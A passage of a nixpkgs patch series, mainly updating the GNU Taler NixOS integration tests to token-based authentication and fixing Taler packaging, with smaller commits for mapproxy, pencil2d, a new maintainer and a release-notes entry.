--- a/nixos/tests/taler/tests/basic.nix
+++ b/nixos/tests/taler/tests/basic.nix
@@ -78,6 +78,9 @@ import ../../make-test-python.nix (
         exchange.start()
         exchange.wait_for_open_port(8081)
 
+        # Create access token for exchange
+        accessTokenExchange = create_token(exchange, "exchange", "exchange")
+
 
         with subtest("Set up exchange"):
             exchange.wait_until_succeeds("taler-exchange-offline download sign upload")
@@ -96,12 +99,14 @@ import ../../make-test-python.nix (
         merchant.start()
         merchant.wait_for_open_port(8083)
 
+        # Create access token for merchant
+        accessTokenMerchant = create_token(client, "merchant", "merchant")
 
         with subtest("Set up merchant"):
             # Create default instance (similar to admin)
             succeed(merchant, [
                 "curl -X POST",
-                "-H 'Authorization: Bearer secret-token:super_secret'",
+                f"-H 'Authorization: Bearer {accessTokenMerchant}'",
                 """
                 --data '{
                   "auth": { "method": "external" },
@@ -150,6 +155,8 @@ import ../../make-test-python.nix (
 
         client.succeed("curl -s http://exchange:8081/")
 
+        # Create access token for user
+        accessTokenUser = create_token(client, "${TUSER}", "${TPASS}")
 
         # Make a withdrawal from the CLI wallet
         with subtest("Make a withdrawal from the CLI wallet"):
@@ -164,7 +171,7 @@ import ../../make-test-python.nix (
             withdrawal = json.loads(
                 succeed(client, [
                     "curl -X POST",
-                    "-u ${TUSER}:${TPASS}",
+                    f"-H 'Authorization: Bearer {accessTokenUser}'",
                     "-H 'Content-Type: application/json'",
                     f"""--data '{{"amount": "{balanceWanted}"}}'""", # double brackets escapes them
                     "-sSfL 'http://bank:8082/accounts/${TUSER}/withdrawals'"
@@ -176,7 +183,7 @@ import ../../make-test-python.nix (
                 wallet_cli(f"withdraw accept-uri {withdrawal["taler_withdraw_uri"]} --exchange http://exchange:8081/")
                 succeed(client, [
                     "curl -X POST",
-                    "-u ${TUSER}:${TPASS}",
+                    f"-H 'Authorization: Bearer {accessTokenUser}'",
                     "-H 'Content-Type: application/json'",
                     f"-sSfL 'http://bank:8082/accounts/${TUSER}/withdrawals/{withdrawal["withdrawal_id"]}/confirm'"
                 ])
@@ -231,14 +238,17 @@ import ../../make-test-python.nix (
             with subtest("Libeufin Nexus currency conversion"):
                 regionalWanted = "20"
 
+                # Create access token
+                accessTokenAdmin = create_token(bank, "${AUSER}", "${APASS}")
+
                 # Setup Nexus ebics keys
                 systemd_run(bank, "libeufin-nexus ebics-setup -L debug -c /etc/libeufin/libeufin.conf", "libeufin-nexus")
 
                 # Set currency conversion rates (1:1)
                 succeed(bank, [
                     "curl -X POST",
+                    f"-H 'Authorization: Bearer {accessTokenAdmin}'",
                     "-H 'Content-Type: application/json'",
-                    "-u ${AUSER}:${APASS}",
                     """
                     --data '{
                       "cashin_ratio": "1",
@@ -264,7 +274,7 @@ import ../../make-test-python.nix (
                 systemd_run(bank, f"""libeufin-nexus testing fake-incoming -c ${bankConfig} --amount="${FIAT_CURRENCY}:{regionalWanted}" --subject="{reservePub}" "payto://iban/CH4740123RW4167362694" """, "libeufin-nexus")
                 wallet_cli("run-until-done")
 
-                verify_conversion(regionalWanted)
+                verify_conversion(regionalWanted, accessTokenExchange)
       '';
   }
 )

From d5fb6d6da918485ed4609e6d51e708cb77017396 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 29 May 2025 11:42:02 +0200
Subject: [PATCH 0453/4511] tests/taler: create exchange credentials at runtime

Basic auth is deprecated, so exchange credentials must be set at runtime
because it requires a token from the bank.

(cherry picked from commit 21ad6f743cf6443686e8da067c168de0a4fa63a7)
---
 nixos/tests/taler/common/nodes.nix         |  7 ++++++-
 nixos/tests/taler/common/scripts.nix       | 11 +++++++++++
 nixos/tests/taler/conf/taler-accounts.conf |  6 ------
 nixos/tests/taler/tests/basic.nix          |  6 ++++++
 4 files changed, 23 insertions(+), 7 deletions(-)

diff --git a/nixos/tests/taler/common/nodes.nix b/nixos/tests/taler/common/nodes.nix
index fcfcb6d6648f..2b9a9ea6a878 100644
--- a/nixos/tests/taler/common/nodes.nix
+++ b/nixos/tests/taler/common/nodes.nix
@@ -55,7 +55,12 @@ rec {
             settings = {
               taler.CURRENCY = CURRENCY;
             };
-            includes = [ ../conf/taler-accounts.conf ];
+            includes = [
+              ../conf/taler-accounts.conf
+              # The exchange requires a token from the bank, so its credentials
+              # need to be set at runtime
+              "/etc/taler/secrets/exchange-account.secret.conf"
+            ];
             exchange = {
               enable = true;
               debug = true;
diff --git a/nixos/tests/taler/common/scripts.nix b/nixos/tests/taler/common/scripts.nix
index c074e9b03c6c..cad9935fc98a 100644
--- a/nixos/tests/taler/common/scripts.nix
+++ b/nixos/tests/taler/common/scripts.nix
@@ -83,6 +83,17 @@ in
           return json.loads(response)["access_token"]
 
 
+      # Basic auth is deprecated, so exchange credentials must be set at
+      # runtime because it requires a token from the bank.
+      def create_exchange_auth(token: str):
+          template = f"""
+          [exchange-accountcredentials-test]
+          WIRE_GATEWAY_URL = http://bank:8082/accounts/exchange/taler-wire-gateway/
+          WIRE_GATEWAY_AUTH_METHOD = BEARER
+          TOKEN = "{token}"
+          """
+          return "\n".join([line.strip() for line in template.splitlines()])
+
       def verify_balance(balanceWanted: str):
           """Compare Taler CLI wallet balance with expected amount"""
           balance = wallet_cli("balance --json")
diff --git a/nixos/tests/taler/conf/taler-accounts.conf b/nixos/tests/taler/conf/taler-accounts.conf
index 9246c25a83ad..8cfb482eb063 100644
--- a/nixos/tests/taler/conf/taler-accounts.conf
+++ b/nixos/tests/taler/conf/taler-accounts.conf
@@ -2,9 +2,3 @@
 PAYTO_URI = payto://x-taler-bank/bank:8082/exchange?receiver-name=Exchange
 ENABLE_DEBIT = YES
 ENABLE_CREDIT = YES
-
-[exchange-accountcredentials-test]
-WIRE_GATEWAY_URL = http://bank:8082/accounts/exchange/taler-wire-gateway/
-WIRE_GATEWAY_AUTH_METHOD = BASIC
-USERNAME = exchange
-PASSWORD = exchange
diff --git a/nixos/tests/taler/tests/basic.nix b/nixos/tests/taler/tests/basic.nix
index 83c9e90cffe5..4dc750adc45a 100644
--- a/nixos/tests/taler/tests/basic.nix
+++ b/nixos/tests/taler/tests/basic.nix
@@ -76,11 +76,17 @@ import ../../make-test-python.nix (
 
 
         exchange.start()
+
+        # exchange credentials must be set at runtime because it requires a token from the bank
+        exchange.succeed("mkdir -p /etc/taler/secrets/")
+        exchange.succeed("touch /etc/taler/secrets/exchange-account.secret.conf")
+
         exchange.wait_for_open_port(8081)
 
         # Create access token for exchange
         accessTokenExchange = create_token(exchange, "exchange", "exchange")
 
+        exchange.succeed(f'echo "{create_exchange_auth(accessTokenExchange)}" > /etc/taler/secrets/exchange-account.secret.conf')
 
         with subtest("Set up exchange"):
             exchange.wait_until_succeeds("taler-exchange-offline download sign upload")

From 455d530741342ac1fc8634f7f5cb7be8ac7d5ff9 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 29 May 2025 11:43:36 +0200
Subject: [PATCH 0454/4511] tests/taler: update merchant instance's endpoint

(cherry picked from commit 12fa6482313a27ee3e374cb95f39fc411d4bb9e0)
---
 nixos/tests/taler/tests/basic.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nixos/tests/taler/tests/basic.nix b/nixos/tests/taler/tests/basic.nix
index 4dc750adc45a..64d35ed2ecc3 100644
--- a/nixos/tests/taler/tests/basic.nix
+++ b/nixos/tests/taler/tests/basic.nix
@@ -139,7 +139,7 @@ import ../../make-test-python.nix (
                   "credit_facade_credentials":{"type":"basic","username":"merchant","password":"merchant"}
                 }'
                 """,
-                "-sSfL 'http://merchant:8083/private/accounts'"
+                "-sSfL 'http://merchant:8083/instances/default/private/accounts'"
             ])
             # Register a new product to be ordered
             succeed(merchant, [
@@ -155,7 +155,7 @@ import ../../make-test-python.nix (
                   "next_restock": { "t_s": "never" }
                 }'
                 """,
-                "-sSfL 'http://merchant:8083/private/products'"
+                "-sSfL 'http://merchant:8083/instances/default/private/products'"
             ])
 
 
@@ -214,7 +214,7 @@ import ../../make-test-python.nix (
                       "inventory_products": [{ "product_id": "1", "quantity": 1 }]
                     }'
                     """,
-                    "-sSfL 'http://merchant:8083/private/orders'"
+                    "-sSfL 'http://merchant:8083/instances/default/private/orders'"
                 ])
             )
             order_id = response["order_id"]
@@ -224,7 +224,7 @@ import ../../make-test-python.nix (
             response = json.loads(
                 succeed(merchant, [
                     "curl -sSfL",
-                    f"http://merchant:8083/private/orders/{order_id}"
+                    f"http://merchant:8083/instances/default/private/orders/{order_id}"
                 ])
             )
             wallet_cli("run-until-done")

From 1e09ac772fadab965056eb3f8cf8380aeeeb4875 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 29 May 2025 11:46:43 +0200
Subject: [PATCH 0455/4511] tests/taler: change bank admin password

which is now required to be at least 8 chars long.

(cherry picked from commit 4ea47f35639a08e80c2f37ce8307cdb7978e9057)
---
 nixos/tests/taler/tests/basic.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/tests/taler/tests/basic.nix b/nixos/tests/taler/tests/basic.nix
index 64d35ed2ecc3..28932f20a8e2 100644
--- a/nixos/tests/taler/tests/basic.nix
+++ b/nixos/tests/taler/tests/basic.nix
@@ -35,13 +35,13 @@ import ../../make-test-python.nix (
         inherit (cfgNodes) CURRENCY FIAT_CURRENCY;
         inherit (cfgScripts) commonScripts;
 
-        bankConfig = nodes.bank.config.environment.etc."libeufin/libeufin.conf".source;
+        bankConfig = nodes.bank.environment.etc."libeufin/libeufin.conf".source;
         bankSettings = nodes.bank.services.libeufin.settings.libeufin-bank;
         nexusSettings = nodes.bank.services.libeufin.nexus.settings;
 
         # Bank admin account credentials
         AUSER = "admin";
-        APASS = "admin";
+        APASS = "testAdmin";
 
         TUSER = "testUser";
         TPASS = "testUser";

From 092005dd4fcff18eea993de2295ca8edb6f00047 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 29 May 2025 11:58:09 +0200
Subject: [PATCH 0456/4511] tests/taler: pass config to taler-exchange-offline

else it doesn't work properly.

(cherry picked from commit f73d14864524bd97b508b0cd653552154f2ff685)
---
 nixos/tests/taler/tests/basic.nix | 15 +++++++++------
 1 file changed, 9 insertions(+), 6 deletions(-)

diff --git a/nixos/tests/taler/tests/basic.nix b/nixos/tests/taler/tests/basic.nix
index 28932f20a8e2..a27e80357a26 100644
--- a/nixos/tests/taler/tests/basic.nix
+++ b/nixos/tests/taler/tests/basic.nix
@@ -35,6 +35,7 @@ import ../../make-test-python.nix (
         inherit (cfgNodes) CURRENCY FIAT_CURRENCY;
         inherit (cfgScripts) commonScripts;
 
+        configFile = nodes.exchange.environment.etc."taler/taler.conf".source;
         bankConfig = nodes.bank.environment.etc."libeufin/libeufin.conf".source;
         bankSettings = nodes.bank.services.libeufin.settings.libeufin-bank;
         nexusSettings = nodes.bank.services.libeufin.nexus.settings;
@@ -89,13 +90,15 @@ import ../../make-test-python.nix (
         exchange.succeed(f'echo "{create_exchange_auth(accessTokenExchange)}" > /etc/taler/secrets/exchange-account.secret.conf')
 
         with subtest("Set up exchange"):
-            exchange.wait_until_succeeds("taler-exchange-offline download sign upload")
-            # Enable exchange wire account
-            exchange.succeed('taler-exchange-offline upload < ${exchangeAccount}')
+            # Set up exchange keys
+            exchange.wait_until_succeeds('taler-exchange-offline -c "${configFile}" download sign upload')
 
-            # NOTE: cannot deposit coins/pay merchant if wire fees are not set up
-            exchange.succeed('taler-exchange-offline wire-fee now x-taler-bank "${CURRENCY}:0" "${CURRENCY}:0" upload')
-            exchange.succeed('taler-exchange-offline global-fee now "${CURRENCY}:0" "${CURRENCY}:0" "${CURRENCY}:0" 1h 6a 0 upload')
+            # Enable exchange wire account
+            exchange.succeed('taler-exchange-offline -c "${configFile}" upload < ${exchangeAccount}')
+
+            # Set up wire fees, needed in order to deposit coins/pay merchant
+            exchange.succeed('taler-exchange-offline -c "${configFile}" wire-fee now x-taler-bank "${CURRENCY}:0" "${CURRENCY}:0" upload')
+            exchange.succeed('taler-exchange-offline -c "${configFile}" global-fee now "${CURRENCY}:0" "${CURRENCY}:0" "${CURRENCY}:0" 1h 6a 0 upload')
 
 
         # Verify that exchange keys exist

From 67edee17b5a6d8ad0f887e19bc94f4ed530c9fb7 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 30 May 2025 09:42:20 +0200
Subject: [PATCH 0457/4511] tests/taler: adjust currency wire fees

because making a withdrawal fails if the fees are 0, for some reason.

(cherry picked from commit c1fe104a778c25eab8a1ec9e65be0fc28bb67da0)
---
 nixos/tests/taler/tests/basic.nix | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/nixos/tests/taler/tests/basic.nix b/nixos/tests/taler/tests/basic.nix
index a27e80357a26..c8b860701506 100644
--- a/nixos/tests/taler/tests/basic.nix
+++ b/nixos/tests/taler/tests/basic.nix
@@ -97,8 +97,8 @@ import ../../make-test-python.nix (
             exchange.succeed('taler-exchange-offline -c "${configFile}" upload < ${exchangeAccount}')
 
             # Set up wire fees, needed in order to deposit coins/pay merchant
-            exchange.succeed('taler-exchange-offline -c "${configFile}" wire-fee now x-taler-bank "${CURRENCY}:0" "${CURRENCY}:0" upload')
-            exchange.succeed('taler-exchange-offline -c "${configFile}" global-fee now "${CURRENCY}:0" "${CURRENCY}:0" "${CURRENCY}:0" 1h 6a 0 upload')
+            exchange.succeed('taler-exchange-offline -c "${configFile}" wire-fee now x-taler-bank "${CURRENCY}:0.01" "${CURRENCY}:0.01" upload')
+            exchange.succeed('taler-exchange-offline -c "${configFile}" global-fee now "${CURRENCY}:0.01" "${CURRENCY}:0.0" "${CURRENCY}:0" 1h 6a 0 upload')
 
 
         # Verify that exchange keys exist
@@ -204,7 +204,8 @@ import ../../make-test-python.nix (
 
 
         with subtest("Pay for an order"):
-            balanceWanted = "${CURRENCY}:9" # after paying
+            # after paying (1 for the order and 0.1 as fee)
+            balanceWanted = "${CURRENCY}:8.9"
 
             # Create an order to be paid
             response = json.loads(

From ed876399821655e91387ac3066465c53ba7c76b9 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 30 May 2025 10:00:41 +0200
Subject: [PATCH 0458/4511] tests/taler: fix currency withdrawal confirmation

(cherry picked from commit b24910bccf3e1ee6a85b5ac1ff32fbf525dcfa81)
---
 nixos/tests/taler/tests/basic.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/nixos/tests/taler/tests/basic.nix b/nixos/tests/taler/tests/basic.nix
index c8b860701506..ec9f592269a9 100644
--- a/nixos/tests/taler/tests/basic.nix
+++ b/nixos/tests/taler/tests/basic.nix
@@ -189,11 +189,16 @@ import ../../make-test-python.nix (
 
             # Accept & confirm withdrawal
             with subtest("Accept & confirm withdrawal"):
-                wallet_cli(f"withdraw accept-uri {withdrawal["taler_withdraw_uri"]} --exchange http://exchange:8081/")
+                # the withdrawal can only be confirmed if this is executed twice, for some reason
+                for i in range(2):
+                    wallet_cli(f"withdraw accept-uri {withdrawal["taler_withdraw_uri"]} --exchange 'http://exchange:8081/'")
+                    client.sleep(5) # needs some time to process things
+
                 succeed(client, [
                     "curl -X POST",
                     f"-H 'Authorization: Bearer {accessTokenUser}'",
                     "-H 'Content-Type: application/json'",
+                    f"""--data '{{"amount": "{balanceWanted}"}}'""", # double brackets escapes them
                     f"-sSfL 'http://bank:8082/accounts/${TUSER}/withdrawals/{withdrawal["withdrawal_id"]}/confirm'"
                 ])
 

From 59898069c110bc048b451a33d4e9f7ecd9a2fe77 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 30 May 2025 10:27:36 +0200
Subject: [PATCH 0459/4511] tests/taler: update exchange node config

(cherry picked from commit 3213654cf8a9de0d32bf54823d30050b80ccdd80)
---
 nixos/tests/taler/common/nodes.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/nixos/tests/taler/common/nodes.nix b/nixos/tests/taler/common/nodes.nix
index 2b9a9ea6a878..7da90ea528cb 100644
--- a/nixos/tests/taler/common/nodes.nix
+++ b/nixos/tests/taler/common/nodes.nix
@@ -65,9 +65,12 @@ rec {
               enable = true;
               debug = true;
               openFirewall = true;
+              # https://docs.taler.net/taler-exchange-manual.html#coins-denomination-keys
+              # NOTE: use `taler-harness`, not `taler-wallet-cli`
               denominationConfig = lib.readFile ../conf/taler-denominations.conf;
               settings = {
                 exchange = {
+                  inherit CURRENCY;
                   MASTER_PUBLIC_KEY = "2TQSTPFZBC2MC4E52NHPA050YXYG02VC3AB50QESM6JX1QJEYVQ0";
                   BASE_URL = "http://exchange:8081/";
                 };

From 0ba7ec44429c6ca834b1271fa4f3e9c460e0afae Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 30 May 2025 10:52:56 +0200
Subject: [PATCH 0460/4511] taler-merchant: work around expected paths

Some services expect the `sql` and `templates` directories to be
available under different paths than what's outputted.

(cherry picked from commit d062164ed8091e9b0658dfa17f185a85cd67c8e5)
---
 pkgs/by-name/ta/taler-merchant/package.nix | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/pkgs/by-name/ta/taler-merchant/package.nix b/pkgs/by-name/ta/taler-merchant/package.nix
index fc5c87e56816..d6b620dbaf18 100644
--- a/pkgs/by-name/ta/taler-merchant/package.nix
+++ b/pkgs/by-name/ta/taler-merchant/package.nix
@@ -82,6 +82,14 @@ stdenv.mkDerivation (finalAttrs: {
     done
   '';
 
+  postFixup = ''
+    # - taler-merchant-dbinit expects `versioning.sql` under `share/taler/sql`
+    # - taler-merchant-httpd expects `share/taler/merchant/templates`
+    mkdir -p $out/share/taler/sql
+    ln -s $out/share/taler-merchant $out/share/taler/merchant
+    ln -s $out/share/taler-merchant/sql $out/share/taler/sql/merchant
+  '';
+
   enableParallelBuilding = true;
 
   doInstallCheck = true;

From 1a8a78c71e203dc3efb8fc742fc6cec6669a577e Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 30 May 2025 10:54:48 +0200
Subject: [PATCH 0461/4511] taler-wallet-core: patch sqlite-helper script
 shebangs

(cherry picked from commit 1dd75bd295434483652d7b72971e6c32b201b0fd)
---
 pkgs/by-name/ta/taler-wallet-core/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/ta/taler-wallet-core/package.nix b/pkgs/by-name/ta/taler-wallet-core/package.nix
index 43f7cf4d89c5..e136588b3726 100644
--- a/pkgs/by-name/ta/taler-wallet-core/package.nix
+++ b/pkgs/by-name/ta/taler-wallet-core/package.nix
@@ -95,6 +95,11 @@ stdenv.mkDerivation (finalAttrs: {
     done
   '';
 
+  postFixup = ''
+    # else it fails to find the python interpreter
+    patchShebangs --build $out/bin/taler-helper-sqlite3
+  '';
+
   env.ESBUILD_BINARY_PATH = lib.getExe esbuild';
 
   meta = {

From 533a9f7b565ba647921372d43b8546ca0899d4f5 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 30 May 2025 11:15:22 +0200
Subject: [PATCH 0462/4511] taler-{exchange,merchant}: add passthru.tests

(cherry picked from commit 1c87f40c6795e29fbf85f0c916bb60615e811e7e)
---
 pkgs/by-name/ta/taler-exchange/package.nix | 3 +++
 pkgs/by-name/ta/taler-merchant/package.nix | 3 +++
 2 files changed, 6 insertions(+)

diff --git a/pkgs/by-name/ta/taler-exchange/package.nix b/pkgs/by-name/ta/taler-exchange/package.nix
index dc4bc7fac66c..185af90a718b 100644
--- a/pkgs/by-name/ta/taler-exchange/package.nix
+++ b/pkgs/by-name/ta/taler-exchange/package.nix
@@ -19,6 +19,7 @@
   gettext,
   texinfo,
   libtool,
+  nixosTests,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
@@ -109,6 +110,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   checkTarget = "check";
 
+  passthru.tests = nixosTests.taler.basic;
+
   meta = {
     description = "Exchange component for the GNU Taler electronic payment system";
     longDescription = ''
diff --git a/pkgs/by-name/ta/taler-merchant/package.nix b/pkgs/by-name/ta/taler-merchant/package.nix
index d6b620dbaf18..90bfac3411bb 100644
--- a/pkgs/by-name/ta/taler-merchant/package.nix
+++ b/pkgs/by-name/ta/taler-merchant/package.nix
@@ -14,6 +14,7 @@
   libgcrypt,
   texinfo,
   curl,
+  nixosTests,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
@@ -98,6 +99,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   checkTarget = "check";
 
+  passthru.tests = nixosTests.taler.basic;
+
   meta = {
     description = "Merchant component for the GNU Taler electronic payment system";
     longDescription = ''

From 23b73f36c6868277768b198a0ccf1efa0f871ed8 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Fri, 30 May 2025 11:36:50 +0200
Subject: [PATCH 0463/4511] doc/rl-2505: add GNU Taler entry

(cherry picked from commit db0b526f9698cb7db9852b73d949bb63f22c8edd)
---
 doc/release-notes/rl-2505.section.md | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/doc/release-notes/rl-2505.section.md b/doc/release-notes/rl-2505.section.md
index 8a395089426d..73bfea0370de 100644
--- a/doc/release-notes/rl-2505.section.md
+++ b/doc/release-notes/rl-2505.section.md
@@ -28,6 +28,10 @@
   - Applications linked against different Mesa versions than installed on the system should now work correctly going forward (however, applications against older Mesa, e.g. from Nixpkgs releases before 25.05, remain broken)
   - Packages that used to depend on Mesa for libgbm or libdri should use `libgbm` or `dri-pkgconfig-stub` as inputs, respectively
 
+- GNU Taler has been updated to version 1.0.
+  This marks a significant milestone as the GNU Taler payment system is now available in Swiss Francs for individuals and businesses in Switzerland.
+  For more details, see the [upstream release notes](https://www.taler.net/en/news/2025-01.html).
+
 - OpenSSH has been updated from 9.9p2 to 10.0p2, dropping support for DSA keys and adding a new `ssh-auth` binary to handle user authentication in a different address space from unauthenticated sessions. See the [full changelog](https://www.openwall.com/lists/oss-security/2025/04/09/1) for more details.
 
 - Emacs has been updated to 30.1.

From 587478e09ec9311bb2ba7fbb8ef5e03278c37847 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 1 Jun 2025 11:40:38 +0000
Subject: [PATCH 0464/4511] mapproxy: 4.1.1 -> 4.1.2

(cherry picked from commit 198bdbc88819d2d5f8e8fde923ce2ec6b5f09b17)
---
 pkgs/by-name/ma/mapproxy/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/mapproxy/package.nix b/pkgs/by-name/ma/mapproxy/package.nix
index 1afe2d500365..c59573b4bb09 100644
--- a/pkgs/by-name/ma/mapproxy/package.nix
+++ b/pkgs/by-name/ma/mapproxy/package.nix
@@ -7,14 +7,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "mapproxy";
-  version = "4.1.1";
+  version = "4.1.2";
   disabled = python3Packages.pythonOlder "3.8";
 
   src = fetchFromGitHub {
     owner = "mapproxy";
     repo = "mapproxy";
     tag = version;
-    hash = "sha256-rsravNSmvx1/291VvfRm0Yx1eg32UJd+egeG4S2SNnk=";
+    hash = "sha256-sh0kViv1Ax/2YPL2ON+X03d5Moa2oPWhb4Rp6Ni5AAY=";
   };
 
   prePatch = ''

From 97ca9693ce5a78164e840aeb20e3d18f90095995 Mon Sep 17 00:00:00 2001
From: Savchenko Dmitriy <apicalium@gmail.com>
Date: Mon, 26 May 2025 13:15:19 +0300
Subject: [PATCH 0465/4511] pencil2d: added ffmpeg dependency; fixed build

Patched qmake files and source repository to correctly acquire Git information
Added ffmpeg dependency

(cherry picked from commit 78a0e4dfadce7a5687f33d7d9ec930ca19856ca4)
---
 pkgs/by-name/pe/pencil2d/git-inherit.patch | 13 +++++++++
 pkgs/by-name/pe/pencil2d/package.nix       | 32 ++++++++++++++++++++--
 2 files changed, 42 insertions(+), 3 deletions(-)
 create mode 100644 pkgs/by-name/pe/pencil2d/git-inherit.patch

diff --git a/pkgs/by-name/pe/pencil2d/git-inherit.patch b/pkgs/by-name/pe/pencil2d/git-inherit.patch
new file mode 100644
index 000000000000..fae2a4a8376b
--- /dev/null
+++ b/pkgs/by-name/pe/pencil2d/git-inherit.patch
@@ -0,0 +1,13 @@
+--- a/app/app.pro    
++++ b/app/app.pro
+@@ -208,8 +208,8 @@
+
+ GIT {
+     DEFINES += GIT_EXISTS \
+-    "GIT_CURRENT_SHA1=$$system(git --git-dir=.git --work-tree=. -C $$_PRO_FILE_PWD_/../ rev-parse HEAD)" \
+-    "GIT_TIMESTAMP=$$system(git --git-dir=.git --work-tree=. -C $$_PRO_FILE_PWD_/../ log -n 1 --pretty=format:"%cd" --date=format:"%Y-%m-%d_%H:%M:%S")"
++    "GIT_CURRENT_SHA1=$$cat($$_PRO_FILE_PWD_/../COMMIT)" \
++    "GIT_TIMESTAMP=$$cat($$_PRO_FILE_PWD_/../SOURCE_TIMESTAMP_EPOCH)"
+ }
+
+ macx {
diff --git a/pkgs/by-name/pe/pencil2d/package.nix b/pkgs/by-name/pe/pencil2d/package.nix
index 0cb6cbd4a433..653f2e21ca47 100644
--- a/pkgs/by-name/pe/pencil2d/package.nix
+++ b/pkgs/by-name/pe/pencil2d/package.nix
@@ -3,30 +3,56 @@
   stdenv,
   fetchFromGitHub,
   qt5,
+  git,
+  ffmpeg_6,
+  nix-update-script,
 }:
 
-stdenv.mkDerivation (FinalAttrs: {
+stdenv.mkDerivation (finalAttrs: {
   pname = "pencil2d";
   version = "0.7.0";
 
   src = fetchFromGitHub {
     owner = "pencil2d";
     repo = "pencil";
-    tag = "v${FinalAttrs.version}";
-    hash = "sha256-OuZpKgX2BgfuQdnjk/RTBww/blO1CIrYWr7KytqcIbQ=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-l+iW0k3WdNXDwXtt958JJWSe3zNhQVul4FUcPPMrVxE=";
+    leaveDotGit = true;
+    postFetch = ''
+      # Obtain the last commit ID and its timestamp, then zap .git for reproducibility
+      cd $out
+      git rev-parse HEAD > $out/COMMIT
+      # 0000-00-00T00:00:00Z
+      date -u -d "@$(git log -1 --pretty=%ct)" "+%Y-%m-%d_%H:%M:%S" > $out/SOURCE_TIMESTAMP_EPOCH
+      find "$out" -name .git -print0 | xargs -0 rm -rf
+    '';
   };
 
+  patches = [ ./git-inherit.patch ];
+
   nativeBuildInputs = with qt5; [
     qmake
     wrapQtAppsHook
     qttools
+    git
   ];
 
+  qmakeFlags = [
+    "pencil2d.pro"
+    "CONFIG+=release"
+    "CONFIG+=PENCIL2D_RELEASE"
+    "CONFIG+=GIT"
+    "VERSION=${finalAttrs.version}"
+  ];
+
+  passthru.updateScript = nix-update-script { };
+
   buildInputs = with qt5; [
     qtbase
     qtmultimedia
     qtsvg
     qtwayland
+    ffmpeg_6
   ];
 
   meta = {

From d5274c657065ca1aa605cda1aa24f76cad64859e Mon Sep 17 00:00:00 2001
From: Flo <max06.net@outlook.com>
Date: Sun, 1 Jun 2025 21:58:13 +0200
Subject: [PATCH 0466/4511] vivaldi: add max06 as maintainer

(cherry picked from commit 2dedc5349140ad843e7d0f6cf64b08db043c2eb4)
---
 pkgs/by-name/vi/vivaldi/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index 921b5363defc..b03a862c7713 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -235,6 +235,7 @@ stdenv.mkDerivation rec {
     mainProgram = "vivaldi";
     maintainers = with lib.maintainers; [
       marcusramberg
+      max06
       rewine
     ];
     platforms = [

From 95a8e1421c899e85bd25e369009c6b294be83cdb Mon Sep 17 00:00:00 2001
From: Flo <max06.net@outlook.com>
Date: Mon, 2 Jun 2025 08:44:05 +0200
Subject: [PATCH 0467/4511] maintainers: add max06 (#413015)

(cherry picked from commit 846f227fd63000bd045e99651c4acb16d142039c)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 3e94e59f58bd..88c090f9dc0e 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -15490,6 +15490,12 @@
     name = "Max Niederman";
     keys = [ { fingerprint = "1DE4 424D BF77 1192 5DC4  CF5E 9AED 8814 81D8 444E"; } ];
   };
+  max06 = {
+    email = "max06.net@outlook.com";
+    github = "max06";
+    githubId = 7556827;
+    name = "Flo";
+  };
   maxbrunet = {
     email = "max@brnt.mx";
     github = "maxbrunet";

From 5891d3e457c1baf119f178bdd9af6bb39657720f Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Mon, 2 Jun 2025 16:06:16 +0200
Subject: [PATCH 0468/4511] ci/codeowners-validator: fix typo in comment

split of from https://github.com/NixOS/nixpkgs/pull/413240 to avoid backporting that PR

(cherry picked from commit c106a5bc279406a70b74c064549e785ca51c13b1)
---
 ci/codeowners-validator/default.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ci/codeowners-validator/default.nix b/ci/codeowners-validator/default.nix
index 5c2d5335c35e..76638c6ac116 100644
--- a/ci/codeowners-validator/default.nix
+++ b/ci/codeowners-validator/default.nix
@@ -20,7 +20,7 @@ buildGoModule {
     })
